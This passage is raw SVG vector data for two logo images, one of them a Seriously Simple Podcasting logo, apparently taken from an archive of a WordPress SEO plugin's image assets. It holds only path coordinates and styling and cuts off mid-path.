1.14,1.28l0.071,0l0,-9.26l3.998,0l0,25.044l-0.001,0Zm-13.96,-8.874c0,0.772 0.099,1.532 0.298,2.28c0.198,0.748 0.503,1.415 0.912,1.999c0.409,0.585 0.93,1.053 1.561,1.404c0.632,0.35 1.379,0.526 2.245,0.526c0.888,0 1.654,-0.187 2.298,-0.561c0.643,-0.374 1.169,-0.865 1.578,-1.473c0.409,-0.608 0.713,-1.292 0.912,-2.052c0.198,-0.76 0.298,-1.538 0.298,-2.333c0,-2.01 -0.45,-3.577 -1.351,-4.7c-0.901,-1.123 -2.122,-1.684 -3.665,-1.684c-0.936,0 -1.725,0.193 -2.368,0.579c-0.644,0.386 -1.169,0.889 -1.578,1.508c-0.409,0.62 -0.701,1.321 -0.877,2.105c-0.175,0.783 -0.263,1.584 -0.263,2.402Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M193.724,149.704c-1.45,0 -2.742,-0.24 -3.876,-0.719c-1.135,-0.479 -2.093,-1.14 -2.876,-1.982c-0.784,-0.842 -1.38,-1.847 -1.789,-3.017c-0.409,-1.169 -0.613,-2.455 -0.613,-3.859c0,-1.379 0.204,-2.653 0.613,-3.823c0.409,-1.169 1.006,-2.175 1.789,-3.017c0.783,-0.842 1.742,-1.502 2.876,-1.982c1.134,-0.479 2.426,-0.719 3.876,-0.719c1.45,0 2.742,0.24 3.876,0.719c1.134,0.48 2.093,1.14 2.877,1.982c0.783,0.842 1.379,1.848 1.789,3.017c0.409,1.17 0.614,2.444 0.614,3.823c0,1.404 -0.205,2.69 -0.614,3.859c-0.409,1.17 -1.006,2.175 -1.789,3.017c-0.784,0.842 -1.743,1.503 -2.877,1.982c-1.134,0.479 -2.427,0.719 -3.876,0.719Zm0,-3.157c0.888,0 1.66,-0.187 2.315,-0.561c0.655,-0.374 1.193,-0.865 1.614,-1.473c0.421,-0.608 0.731,-1.292 0.93,-2.052c0.198,-0.76 0.298,-1.538 0.298,-2.333c0,-0.771 -0.1,-1.543 -0.298,-2.315c-0.199,-0.772 -0.509,-1.456 -0.93,-2.052c-0.421,-0.596 -0.959,-1.081 -1.614,-1.456c-0.655,-0.374 -1.427,-0.561 -2.315,-0.561c-0.889,0 -1.66,0.188 -2.315,0.561c-0.655,0.374 -1.192,0.859 -1.613,1.456c-0.421,0.596 -0.731,1.28 -0.93,2.052c-0.199,0.772 -0.299,1.543 -0.299,2.315c0,0.795 0.1,1.573 0.299,2.333c0.198,0.76 0.509,1.444 0.93,2.052c0.421,0.608 0.958,1.099 1.613,1.473c0.654,0.375 1.426,0.561 2.315,0.561Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M204.562,131.079l4.244,0l3.543,13.539l0.071,0l3.402,-13.539l4.034,0l3.262,13.539l0.071,0l3.683,-13.539l4.069,0l-5.682,18.134l-4.104,0l-3.367,-13.469l-0.07,0l-3.332,13.469l-4.209,0l-5.615,-18.134Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M233.499,131.079l3.788,0l0,2.666l0.07,0.07c0.608,-1.005 1.403,-1.795 2.385,-2.368c0.982,-0.573 2.069,-0.859 3.262,-0.859c1.987,0 3.554,0.515 4.7,1.543c1.146,1.029 1.719,2.573 1.719,4.63l0,12.452l-3.998,0l0,-11.4c-0.047,-1.426 -0.351,-2.461 -0.912,-3.104c-0.562,-0.643 -1.438,-0.965 -2.631,-0.965c-0.678,0 -1.286,0.123 -1.824,0.369c-0.538,0.245 -0.994,0.585 -1.368,1.017c-0.374,0.433 -0.666,0.942 -0.877,1.526c-0.211,0.585 -0.316,1.205 -0.316,1.859l0,10.698l-3.998,0l0,-18.134Z" style="fill:#35495c;fill-rule:nonzero;"/><rect x="253.738" y="124.169" width="3.999" height="25.044" style="fill:#35495c;fill-rule:nonzero;"/><path d="M270.399,149.704c-1.45,0 -2.742,-0.24 -3.876,-0.719c-1.135,-0.479 -2.093,-1.14 -2.876,-1.982c-0.784,-0.842 -1.38,-1.847 -1.789,-3.017c-0.409,-1.169 -0.613,-2.455 -0.613,-3.859c0,-1.379 0.204,-2.653 0.613,-3.823c0.409,-1.169 1.006,-2.175 1.789,-3.017c0.783,-0.842 1.742,-1.502 2.876,-1.982c1.134,-0.479 2.426,-0.719 3.876,-0.719c1.45,0 2.742,0.24 3.876,0.719c1.134,0.48 2.093,1.14 2.877,1.982c0.783,0.842 1.379,1.848 1.789,3.017c0.409,1.17 0.614,2.444 0.614,3.823c0,1.404 -0.205,2.69 -0.614,3.859c-0.409,1.17 -1.006,2.175 -1.789,3.017c-0.784,0.842 -1.743,1.503 -2.877,1.982c-1.135,0.479 -2.427,0.719 -3.876,0.719Zm0,-3.157c0.888,0 1.66,-0.187 2.315,-0.561c0.655,-0.374 1.193,-0.865 1.614,-1.473c0.421,-0.608 0.731,-1.292 0.93,-2.052c0.198,-0.76 0.298,-1.538 0.298,-2.333c0,-0.771 -0.099,-1.543 -0.298,-2.315c-0.199,-0.772 -0.509,-1.456 -0.93,-2.052c-0.421,-0.596 -0.959,-1.081 -1.614,-1.456c-0.655,-0.374 -1.427,-0.561 -2.315,-0.561c-0.889,0 -1.66,0.188 -2.315,0.561c-0.655,0.374 -1.192,0.859 -1.613,1.456c-0.421,0.596 -0.731,1.28 -0.93,2.052c-0.199,0.772 -0.299,1.543 -0.299,2.315c0,0.795 0.1,1.573 0.299,2.333c0.198,0.76 0.509,1.444 0.93,2.052c0.421,0.608 0.958,1.099 1.613,1.473c0.654,0.375 1.426,0.561 2.315,0.561Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M298.073,145.18c0,0.491 0.064,0.842 0.193,1.052c0.128,0.21 0.38,0.316 0.754,0.316c0.117,0 0.257,0 0.421,0c0.163,0 0.35,-0.023 0.561,-0.07l0,2.771c-0.14,0.047 -0.321,0.099 -0.543,0.158c-0.223,0.058 -0.451,0.111 -0.684,0.158c-0.234,0.047 -0.468,0.081 -0.702,0.105c-0.234,0.024 -0.433,0.035 -0.596,0.035c-0.818,0 -1.497,-0.164 -2.034,-0.491c-0.538,-0.327 -0.889,-0.9 -1.052,-1.719c-0.795,0.771 -1.772,1.333 -2.929,1.683c-1.158,0.351 -2.274,0.526 -3.349,0.526c-0.819,0 -1.602,-0.111 -2.35,-0.333c-0.749,-0.222 -1.409,-0.549 -1.982,-0.982c-0.573,-0.433 -1.029,-0.982 -1.368,-1.649c-0.339,-0.666 -0.509,-1.444 -0.509,-2.333c0,-1.122 0.205,-2.034 0.614,-2.736c0.409,-0.701 0.947,-1.251 1.614,-1.649c0.666,-0.397 1.414,-0.684 2.244,-0.859c0.83,-0.175 1.666,-0.31 2.508,-0.404c0.725,-0.14 1.415,-0.239 2.069,-0.298c0.655,-0.058 1.233,-0.158 1.736,-0.298c0.503,-0.14 0.9,-0.356 1.193,-0.649c0.292,-0.292 0.439,-0.73 0.439,-1.315c0,-0.514 -0.123,-0.935 -0.369,-1.263c-0.246,-0.327 -0.55,-0.579 -0.912,-0.754c-0.363,-0.175 -0.766,-0.292 -1.21,-0.351c-0.445,-0.058 -0.865,-0.088 -1.263,-0.088c-1.123,0 -2.047,0.234 -2.771,0.702c-0.725,0.468 -1.135,1.193 -1.228,2.175l-3.999,0c0.071,-1.169 0.351,-2.14 0.842,-2.911c0.491,-0.772 1.116,-1.391 1.877,-1.859c0.759,-0.467 1.618,-0.795 2.578,-0.982c0.959,-0.187 1.941,-0.281 2.947,-0.281c0.888,0 1.765,0.094 2.631,0.281c0.865,0.188 1.643,0.491 2.333,0.912c0.689,0.421 1.245,0.965 1.666,1.631c0.421,0.666 0.631,1.479 0.631,2.438l0,9.331l-0.001,0Zm-3.998,-5.052c-0.609,0.398 -1.357,0.638 -2.245,0.719c-0.889,0.082 -1.777,0.205 -2.666,0.369c-0.421,0.07 -0.83,0.17 -1.228,0.298c-0.398,0.129 -0.749,0.304 -1.053,0.526c-0.304,0.223 -0.543,0.515 -0.719,0.877c-0.175,0.363 -0.263,0.801 -0.263,1.315c0,0.445 0.128,0.819 0.386,1.123c0.257,0.304 0.566,0.543 0.929,0.719c0.363,0.175 0.76,0.298 1.193,0.368c0.432,0.071 0.824,0.105 1.175,0.105c0.444,0 0.923,-0.058 1.438,-0.175c0.515,-0.117 1,-0.316 1.456,-0.596c0.456,-0.28 0.835,-0.636 1.14,-1.07c0.304,-0.432 0.456,-0.964 0.456,-1.596l0,-2.982l0.001,0Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M319.47,149.213l-3.788,0l0,-2.455l-0.07,0c-0.538,1.052 -1.321,1.806 -2.35,2.262c-1.029,0.456 -2.117,0.684 -3.262,0.684c-1.427,0 -2.672,-0.251 -3.736,-0.754c-1.064,-0.502 -1.947,-1.186 -2.648,-2.052c-0.702,-0.865 -1.228,-1.888 -1.578,-3.069c-0.351,-1.18 -0.526,-2.449 -0.526,-3.806c0,-1.636 0.222,-3.052 0.666,-4.244c0.444,-1.193 1.035,-2.175 1.772,-2.946c0.737,-0.772 1.578,-1.338 2.525,-1.701c0.947,-0.362 1.912,-0.544 2.894,-0.544c0.562,0 1.134,0.052 1.719,0.158c0.584,0.105 1.145,0.275 1.683,0.509c0.538,0.234 1.035,0.532 1.491,0.894c0.456,0.363 0.836,0.789 1.14,1.28l0.071,0l0,-9.26l3.998,0l0,25.044l-0.001,0Zm-13.96,-8.874c0,0.772 0.099,1.532 0.298,2.28c0.198,0.748 0.503,1.415 0.912,1.999c0.409,0.585 0.93,1.053 1.561,1.404c0.632,0.35 1.379,0.526 2.245,0.526c0.888,0 1.654,-0.187 2.298,-0.561c0.643,-0.374 1.169,-0.865 1.578,-1.473c0.409,-0.608 0.713,-1.292 0.912,-2.052c0.198,-0.76 0.298,-1.538 0.298,-2.333c0,-2.01 -0.45,-3.577 -1.351,-4.7c-0.901,-1.123 -2.122,-1.684 -3.665,-1.684c-0.936,0 -1.725,0.193 -2.368,0.579c-0.644,0.386 -1.169,0.889 -1.578,1.508c-0.409,0.62 -0.701,1.321 -0.877,2.105c-0.176,0.783 -0.263,1.584 -0.263,2.402Z" style="fill:#35495c;fill-rule:nonzero;"/><path d="M326.836,143.39c0.117,1.17 0.561,1.988 1.333,2.456c0.772,0.468 1.695,0.701 2.771,0.701c0.373,0 0.801,-0.029 1.28,-0.088c0.479,-0.058 0.93,-0.169 1.351,-0.333c0.421,-0.163 0.765,-0.403 1.034,-0.719c0.269,-0.316 0.392,-0.731 0.369,-1.245c-0.024,-0.514 -0.211,-0.935 -0.561,-1.263c-0.351,-0.327 -0.801,-0.59 -1.351,-0.789c-0.55,-0.198 -1.175,-0.369 -1.876,-0.509c-0.702,-0.14 -1.415,-0.292 -2.14,-0.456c-0.749,-0.163 -1.468,-0.362 -2.157,-0.596c-0.69,-0.234 -1.31,-0.549 -1.859,-0.947c-0.55,-0.397 -0.988,-0.906 -1.315,-1.526c-0.328,-0.619 -0.491,-1.386 -0.491,-2.298c0,-0.982 0.24,-1.806 0.719,-2.473c0.479,-0.667 1.087,-1.204 1.824,-1.613c0.737,-0.409 1.555,-0.696 2.455,-0.859c0.9,-0.163 1.76,-0.245 2.578,-0.245c0.935,0 1.83,0.1 2.684,0.298c0.853,0.199 1.625,0.521 2.315,0.965c0.689,0.445 1.263,1.023 1.719,1.736c0.456,0.714 0.742,1.573 0.86,2.578l-4.174,0c-0.187,-0.958 -0.626,-1.601 -1.315,-1.929c-0.69,-0.327 -1.479,-0.491 -2.367,-0.491c-0.281,0 -0.614,0.024 -1,0.07c-0.386,0.047 -0.749,0.135 -1.087,0.263c-0.339,0.129 -0.626,0.316 -0.86,0.561c-0.234,0.245 -0.35,0.567 -0.35,0.965c0,0.491 0.169,0.889 0.508,1.193c0.339,0.304 0.784,0.556 1.333,0.754c0.549,0.199 1.175,0.368 1.877,0.508c0.701,0.14 1.426,0.293 2.174,0.456c0.725,0.164 1.438,0.363 2.14,0.596c0.701,0.234 1.326,0.55 1.876,0.947c0.549,0.397 0.994,0.9 1.333,1.508c0.339,0.609 0.509,1.356 0.509,2.245c0,1.076 -0.246,1.988 -0.737,2.736c-0.492,0.749 -1.129,1.357 -1.912,1.824c-0.784,0.468 -1.655,0.807 -2.613,1.017c-0.959,0.21 -1.906,0.316 -2.841,0.316c-1.146,0 -2.204,-0.129 -3.174,-0.386c-0.971,-0.257 -1.813,-0.649 -2.526,-1.175c-0.714,-0.526 -1.275,-1.18 -1.683,-1.964c-0.41,-0.784 -0.626,-1.713 -0.649,-2.789l3.996,0Z" style="fill:#35495c;fill-rule:nonzero;"/></g></svg>wordpress-seo/packages/js/images/ssp-logo.svg000064400000074161147510273070015322 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<!-- Generated by Pixelmator Pro 3.1.1 -->
<svg width="280" height="50" viewBox="0 0 280 50" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <path id="Path" fill="#2a2a2a" stroke="none" d="M 107.36734 25 C 107.36734 37.90543 96.905426 48.367348 84 48.367348 C 71.094574 48.367348 60.632652 37.90543 60.632652 25 C 60.632652 12.09457 71.094574 1.632652 84 1.632652 C 96.905426 1.632652 107.36734 12.09457 107.36734 25 Z"/>
    <path id="path1" fill="#2a2a2a" fill-rule="evenodd" stroke="none" d="M 84 50 C 97.807144 50 109 38.807144 109 25 C 109 11.192875 97.807144 0 84 0 C 70.192879 0 59 11.192875 59 25 C 59 38.807144 70.192879 50 84 50 Z M 84 48.979591 C 97.243469 48.979591 107.979599 38.243469 107.979599 25 C 107.979599 11.756432 97.243469 1.020409 84 1.020409 C 70.756432 1.020409 60.020409 11.756432 60.020409 25 C 60.020409 38.243469 70.756432 48.979591 84 48.979591 Z"/>
    <path id="path2" fill="#ffffff" fill-rule="evenodd" stroke="none" d="M 72.282471 16.767059 C 72.576691 16.588104 72.956955 16.356773 73.387756 16.42857 C 73.623169 16.467796 73.873627 16.657875 74.162415 16.876999 C 74.62468 17.227814 75.185089 17.653061 75.938782 17.653061 C 76.808289 17.653061 77.26619 17.447247 77.531647 17.327919 C 77.640045 17.279202 77.716339 17.2449 77.775513 17.2449 C 77.979599 17.2449 78.285721 17.551022 77.877548 17.857143 C 77.810303 17.90757 77.726456 17.977406 77.626404 18.060673 C 77.119308 18.482878 76.196823 19.250917 74.918365 19.591837 C 74.67543 19.656633 74.45047 19.711123 74.242691 19.761471 C 73.141464 20.028288 72.522842 20.178164 72.265305 21.12245 C 71.959183 22.244898 72.163269 26.734694 75.938782 26.734694 C 77.502655 26.734694 78.733871 26.121838 80.176331 25.404083 C 82.216324 24.388775 84.678772 23.163265 89.102036 23.163265 C 96.653061 23.163265 98.18367 29.591837 98.18367 32.857143 C 98.18367 36.122448 94.510208 40.612244 88.18367 40.612244 C 83.733261 40.612244 82.217758 39.113266 81.431229 38.335102 C 81.323273 38.228367 81.228973 38.135101 81.142853 38.061226 C 81.653061 39.387756 84.204086 42.224487 89.102036 42.142857 C 89.034088 42.516937 87.346939 43.265305 81.142853 43.265305 C 73.387756 43.265305 67.367348 36.32653 67.367348 30.102041 C 67.367348 25.671429 68.504753 23.102039 69.160347 21.621019 C 69.425797 21.021429 69.612244 20.600206 69.612244 20.306122 C 69.612244 19.355593 68.549713 18.405062 67.579391 17.537003 C 67.508064 17.473183 67.437225 17.409817 67.367348 17.346939 C 66.346939 16.42857 66.14286 14.693878 66.244896 14.387756 C 66.346939 14.081635 66.755104 13.979591 66.85714 14.591835 C 66.959183 15.204082 67.979591 15.816326 68.693878 15.816326 C 68.98645 15.816326 69.142059 15.782082 69.293938 15.748672 C 69.512878 15.700508 69.72406 15.654041 70.32653 15.714287 C 70.836304 15.765266 71.452957 16.410797 71.809486 16.784061 C 71.866554 16.843777 71.916962 16.896549 71.959183 16.938774 C 72.049911 16.908531 72.158554 16.842449 72.282471 16.767059 Z M 81.755096 35.306122 C 82.149597 35.306122 82.469391 34.986328 82.469391 34.591835 C 82.469391 34.19735 82.149597 33.877548 81.755096 33.877548 C 81.360611 33.877548 81.040817 34.19735 81.040817 34.591835 C 81.040817 34.986328 81.360611 35.306122 81.755096 35.306122 Z"/>
    <path id="path3" fill="#cf3529" stroke="none" d="M 78.18367 12.448978 C 77.775513 12.766426 77.713882 13.572571 78.133331 13.984653 C 78.553329 14.460693 79.102036 14.452061 79.668976 14.035 C 83.489792 11.224491 93.591843 11.32653 97.979599 13.984653 C 98.476532 14.285713 99.070404 14.358795 99.450821 13.971615 C 99.450821 13.971615 99.450821 13.971615 99.482452 13.939346 C 99.894485 13.519897 99.918365 12.763142 99.404892 12.404797 C 94.204086 8.775509 82.775513 8.877552 78.18367 12.448978 Z"/>
    <path id="path4" fill="#cf3529" stroke="none" d="M 80.63266 16.122448 C 80.020401 16.42857 80.020401 17.142857 80.326538 17.653061 C 80.63266 18.163265 81.276932 18.173552 81.857147 17.857143 C 86.174896 15.928654 91.316742 15.710407 95.734695 17.959183 C 96.228363 18.210409 97.061218 18.265306 97.36734 17.653061 C 97.659592 17.068653 97.673462 16.530613 96.959183 16.122448 C 92.583466 13.622063 85.619598 13.331001 80.63266 16.122448 Z"/>
    <path id="path5" fill="#cf3529" stroke="none" d="M 82.877548 20.102041 C 82.265305 20.408163 82.163269 21.071428 82.469391 21.530613 C 82.945511 22.244898 83.591843 22.025309 84.14183 21.822653 C 87.877548 20.445713 89.918365 20.510204 93.489792 21.772243 C 94.213669 22.027958 94.714279 22.040817 95.122452 21.530613 C 95.428574 21.020409 95.366943 20.331713 94.612244 20 C 90.227753 18.072918 86.551025 18.061224 82.877548 20.102041 Z"/>
    <path id="Seriously-Simple" fill="#000000" fill-rule="evenodd" stroke="none" d="M 208.695313 24.455078 L 208.695313 13.416016 L 210.199219 13.416016 L 210.296875 14.167969 C 210.638199 13.858635 211.010681 13.629803 211.416016 13.480469 C 211.82135 13.331135 212.300797 13.255859 212.855469 13.255859 C 213.943466 13.255859 214.792389 13.552528 215.400391 14.144531 C 216.008392 14.736534 216.3125 15.714737 216.3125 17.080078 C 216.3125 18.44541 215.996521 19.467196 215.367188 20.144531 C 214.737854 20.821869 213.880966 21.160156 212.792969 21.160156 C 211.875626 21.160156 211.090118 20.946199 210.439453 20.519531 L 210.439453 24.455078 L 208.695313 24.455078 Z M 175.224609 23.816406 C 174.648605 23.816406 174.157288 23.741133 173.751953 23.591797 L 173.751953 22.296875 C 173.933289 22.360876 174.101196 22.402494 174.255859 22.423828 C 174.410538 22.445162 174.568512 22.455078 174.728516 22.455078 C 175.059189 22.455078 175.324677 22.403543 175.527344 22.296875 C 175.730011 22.190208 175.90979 22.022303 176.064453 21.792969 C 176.219131 21.563635 176.387039 21.266966 176.568359 20.904297 L 173.191406 13.416016 L 175 13.416016 L 177.431641 19.048828 L 179.896484 13.416016 L 181.6875 13.416016 L 178.599609 20.568359 C 178.332932 21.208363 178.048141 21.770523 177.744141 22.255859 C 177.44014 22.741194 177.087494 23.123056 176.6875 23.400391 C 176.287491 23.677725 175.800613 23.816406 175.224609 23.816406 Z M 151.576172 21.160156 C 150.210831 21.160156 149.210831 20.819389 148.576172 20.136719 C 147.941498 19.454048 147.623047 18.47637 147.623047 17.207031 C 147.623047 15.937691 147.943985 14.961967 148.583984 14.279297 C 149.223984 13.596626 150.221497 13.255859 151.576172 13.255859 C 152.941513 13.255859 153.943985 13.596626 154.583984 14.279297 C 155.223984 14.961967 155.544922 15.937691 155.544922 17.207031 C 155.544922 18.47637 155.226471 19.454048 154.591797 20.136719 C 153.957138 20.819389 152.952179 21.160156 151.576172 21.160156 Z M 159.015625 21.160156 C 158.108948 21.160156 157.413071 20.909538 156.927734 20.408203 C 156.442398 19.906866 156.199219 19.169888 156.199219 18.199219 L 156.199219 13.416016 L 157.943359 13.416016 L 157.943359 18.199219 C 157.943359 18.764553 158.082047 19.180597 158.359375 19.447266 C 158.636703 19.713934 159.064621 19.847656 159.640625 19.847656 C 160.067291 19.847656 160.461548 19.767424 160.824219 19.607422 C 161.18689 19.447422 161.5009 19.23542 161.767578 18.96875 L 161.767578 13.416016 L 163.496094 13.416016 L 163.496094 21 L 161.912109 21 L 161.832031 20.216797 C 161.490692 20.483465 161.084579 20.707336 160.615234 20.888672 C 160.145905 21.070005 159.612961 21.160156 159.015625 21.160156 Z M 167.095703 21.160156 C 166.573044 21.160156 166.07428 21.123495 165.599609 21.048828 C 165.124939 20.974161 164.73317 20.882059 164.423828 20.775391 L 164.423828 19.304688 C 164.786499 19.443354 165.185715 19.54838 165.623047 19.623047 C 166.060394 19.697714 166.476425 19.736328 166.871094 19.736328 C 167.46843 19.736328 167.896347 19.682838 168.152344 19.576172 C 168.408356 19.469505 168.535156 19.260508 168.535156 18.951172 C 168.535156 18.727173 168.459351 18.55183 168.304688 18.423828 C 168.150024 18.295826 167.919235 18.178936 167.615234 18.072266 C 167.311234 17.965599 166.924423 17.836834 166.455078 17.6875 C 166.00708 17.538166 165.617783 17.375217 165.287109 17.199219 C 164.956451 17.023216 164.700867 16.796867 164.519531 16.519531 C 164.338196 16.242195 164.248047 15.879642 164.248047 15.431641 C 164.248047 14.738304 164.498657 14.202885 165 13.824219 C 165.501343 13.445549 166.306671 13.255859 167.416016 13.255859 C 167.853348 13.255859 168.269394 13.28756 168.664063 13.351563 C 169.058731 13.415562 169.394547 13.495796 169.671875 13.591797 L 169.671875 15.048828 C 169.373215 14.931496 169.04483 14.83939 168.6875 14.775391 C 168.330154 14.711388 167.996826 14.679688 167.6875 14.679688 C 167.132828 14.679688 166.714294 14.728218 166.431641 14.824219 C 166.148972 14.920219 166.007813 15.112389 166.007813 15.400391 C 166.007813 15.699059 166.153931 15.908581 166.447266 16.03125 C 166.740601 16.153915 167.212616 16.321823 167.863281 16.535156 C 168.460617 16.716492 168.93512 16.908661 169.287109 17.111328 C 169.639114 17.313995 169.89415 17.557175 170.048828 17.839844 C 170.203491 18.122513 170.279297 18.487545 170.279297 18.935547 C 170.279297 19.682217 170.008835 20.23942 169.464844 20.607422 C 168.920837 20.975424 168.130386 21.160156 167.095703 21.160156 Z M 172.919922 21.160156 C 172.301254 21.160156 171.831726 21.007126 171.511719 20.703125 C 171.191727 20.399122 171.03125 19.895411 171.03125 19.191406 L 171.03125 10.216797 L 172.775391 10.216797 L 172.775391 19.03125 C 172.775391 19.329918 172.828873 19.533958 172.935547 19.640625 C 173.042206 19.747293 173.202682 19.800781 173.416016 19.800781 C 173.672012 19.800781 173.917679 19.767124 174.152344 19.703125 L 174.152344 20.96875 C 173.949677 21.043417 173.755035 21.092472 173.568359 21.119141 C 173.381699 21.145807 173.165253 21.160156 172.919922 21.160156 Z M 187.960938 21.160156 C 186.627594 21.160156 185.55481 20.989771 184.744141 20.648438 L 184.744141 19.111328 C 185.202805 19.281996 185.696609 19.420677 186.224609 19.527344 C 186.752609 19.63401 187.278107 19.6875 187.800781 19.6875 C 188.622116 19.6875 189.237778 19.592392 189.648438 19.400391 C 190.059113 19.208389 190.263672 18.824047 190.263672 18.248047 C 190.263672 17.896046 190.178482 17.613724 190.007813 17.400391 C 189.837143 17.187054 189.554825 17.002323 189.160156 16.847656 C 188.765488 16.692989 188.220688 16.530041 187.527344 16.359375 C 186.417999 16.071373 185.639404 15.706341 185.191406 15.263672 C 184.743408 14.821003 184.519531 14.210312 184.519531 13.431641 C 184.519531 12.524971 184.850388 11.816689 185.511719 11.304688 C 186.173065 10.792683 187.160645 10.535156 188.472656 10.535156 C 189.069992 10.535156 189.632156 10.578728 190.160156 10.664063 C 190.688156 10.749393 191.10173 10.844505 191.400391 10.951172 L 191.400391 12.488281 C 190.589722 12.178947 189.694229 12.023438 188.712891 12.023438 C 187.944885 12.023438 187.346588 12.125458 186.919922 12.328125 C 186.493256 12.530792 186.279297 12.898304 186.279297 13.431641 C 186.279297 13.740974 186.354568 13.991596 186.503906 14.183594 C 186.653244 14.375595 186.911301 14.541019 187.279297 14.679688 C 187.647293 14.818356 188.157928 14.973862 188.808594 15.144531 C 189.65126 15.357864 190.303574 15.610962 190.767578 15.904297 C 191.231583 16.197632 191.557465 16.538399 191.744141 16.927734 C 191.930801 17.31707 192.023438 17.757378 192.023438 18.248047 C 192.023438 19.154716 191.687622 19.86743 191.015625 20.384766 C 190.343613 20.902102 189.326263 21.160156 187.960938 21.160156 Z M 218.935547 21.160156 C 218.316879 21.160156 217.847351 21.007126 217.527344 20.703125 C 217.207336 20.399122 217.048828 19.895411 217.048828 19.191406 L 217.048828 10.216797 L 218.792969 10.216797 L 218.792969 19.03125 C 218.792969 19.329918 218.844513 19.533958 218.951172 19.640625 C 219.057846 19.747293 219.218292 19.800781 219.431641 19.800781 C 219.687637 19.800781 219.933304 19.767124 220.167969 19.703125 L 220.167969 20.96875 C 219.965302 21.043417 219.770645 21.092472 219.583984 21.119141 C 219.397324 21.145807 219.180878 21.160156 218.935547 21.160156 Z M 224.408203 21.160156 C 223.085526 21.160156 222.061279 20.834263 221.335938 20.183594 C 220.610596 19.532925 220.248047 18.535406 220.248047 17.191406 C 220.248047 15.975399 220.557114 15.016502 221.175781 14.3125 C 221.794449 13.608498 222.733505 13.255859 223.992188 13.255859 C 225.144196 13.255859 226.010468 13.557487 226.591797 14.160156 C 227.173141 14.762825 227.464844 15.538944 227.464844 16.488281 L 227.464844 17.896484 L 221.912109 17.896484 C 221.997437 18.632488 222.264877 19.138681 222.712891 19.416016 C 223.160889 19.69335 223.842438 19.832031 224.759766 19.832031 C 225.143768 19.832031 225.538025 19.79537 225.943359 19.720703 C 226.348694 19.646036 226.701324 19.548975 227 19.431641 L 227 20.712891 C 226.658661 20.862225 226.266876 20.974161 225.824219 21.048828 C 225.381546 21.123495 224.909531 21.160156 224.408203 21.160156 Z M 139.560547 21 L 139.560547 13.416016 L 141.160156 13.416016 L 141.255859 14.296875 C 141.61853 14.062206 142.051392 13.848251 142.552734 13.65625 C 143.054062 13.464252 143.548401 13.330524 144.039063 13.255859 L 144.039063 14.226563 L 144.136719 13.416016 L 146.871094 13.416016 L 146.871094 21 L 145.128906 21 L 145.128906 14.744141 L 143.976563 14.744141 L 143.994141 14.59375 C 143.707718 14.646713 143.402161 14.719975 143.072266 14.816406 C 142.725586 14.91774 142.397232 15.029675 142.087891 15.152344 C 141.778564 15.275009 141.518021 15.399342 141.304688 15.527344 L 141.304688 21 L 139.560547 21 Z M 193.144531 21 L 193.144531 14.744141 L 191.992188 14.744141 L 192.152344 13.416016 L 194.888672 13.416016 L 194.888672 21 L 193.144531 21 Z M 195.960938 21 L 195.960938 13.416016 L 197.560547 13.416016 L 197.640625 14.216797 C 198.013962 13.918129 198.423096 13.682384 198.871094 13.511719 C 199.319107 13.341049 199.800507 13.255859 200.3125 13.255859 C 200.856506 13.255859 201.279984 13.343529 201.583984 13.519531 C 201.887985 13.69553 202.119293 13.938709 202.279297 14.248047 C 202.631302 13.960045 203.03743 13.721825 203.496094 13.535156 C 203.954758 13.348488 204.504532 13.255859 205.144531 13.255859 C 206.019211 13.255859 206.664078 13.479733 207.080078 13.927734 C 207.496078 14.375736 207.703125 15.064182 207.703125 15.992188 L 207.703125 21 L 205.992188 21 L 205.992188 16.167969 C 205.992188 15.581299 205.868393 15.170216 205.623047 14.935547 C 205.377716 14.700878 204.9785 14.583984 204.423828 14.583984 C 204.061157 14.583984 203.717911 14.647388 203.392578 14.775391 C 203.067245 14.903389 202.787399 15.095558 202.552734 15.351563 C 202.584732 15.468895 202.604568 15.592701 202.615234 15.720703 C 202.6259 15.848701 202.632813 15.987385 202.632813 16.136719 L 202.632813 21 L 201.015625 21 L 201.015625 16.183594 C 201.015625 15.628925 200.920517 15.224754 200.728516 14.96875 C 200.536514 14.712749 200.173965 14.583984 199.640625 14.583984 C 199.267288 14.583984 198.91217 14.671658 198.576172 14.847656 C 198.240173 15.023659 197.938553 15.235134 197.671875 15.480469 L 197.671875 21 L 195.960938 21 Z M 212.34375 19.847656 C 213.815765 19.847656 214.552734 18.920458 214.552734 17.064453 C 214.552734 16.168449 214.387314 15.531013 214.056641 15.152344 C 213.725967 14.773674 213.171249 14.583984 212.392578 14.583984 C 211.613907 14.583984 210.962112 14.851429 210.439453 15.384766 L 210.439453 19.175781 C 210.684784 19.378448 210.959656 19.541395 211.263672 19.664063 C 211.567673 19.78673 211.92775 19.847656 212.34375 19.847656 Z M 151.576172 19.6875 C 152.376175 19.6875 152.943298 19.492851 153.279297 19.103516 C 153.615295 18.71418 153.783203 18.081703 153.783203 17.207031 C 153.783203 16.332359 153.615295 15.704315 153.279297 15.320313 C 152.943298 14.93631 152.376175 14.744141 151.576172 14.744141 C 150.786835 14.744141 150.22467 14.93631 149.888672 15.320313 C 149.552673 15.704315 149.384766 16.332359 149.384766 17.207031 C 149.384766 18.081703 149.552673 18.71418 149.888672 19.103516 C 150.22467 19.492851 150.786835 19.6875 151.576172 19.6875 Z M 221.912109 16.759766 L 225.927734 16.759766 L 225.927734 16.232422 C 225.927734 15.709755 225.784088 15.301147 225.496094 15.007813 C 225.208084 14.714478 224.721741 14.568359 224.039063 14.568359 C 223.228394 14.568359 222.671188 14.743702 222.367188 15.095703 C 222.063187 15.447704 221.912109 16.00243 221.912109 16.759766 Z M 144.984375 11.832031 L 144.984375 10.392578 L 146.888672 10.392578 L 146.888672 11.832031 L 144.984375 11.832031 Z M 193 11.832031 L 193 10.392578 L 194.904297 10.392578 L 194.904297 11.832031 L 193 11.832031 Z M 135.768005 21.16 C 134.445328 21.16 133.421341 20.834669 132.695999 20.184 C 131.970673 19.533331 131.608002 18.536007 131.608002 17.192001 C 131.608002 15.975994 131.917328 15.016003 132.536011 14.312 C 133.154678 13.607998 134.093338 13.256001 135.352005 13.256001 C 136.504013 13.256001 137.370667 13.557331 137.952011 14.16 C 138.53334 14.762669 138.824005 15.538662 138.824005 16.487999 L 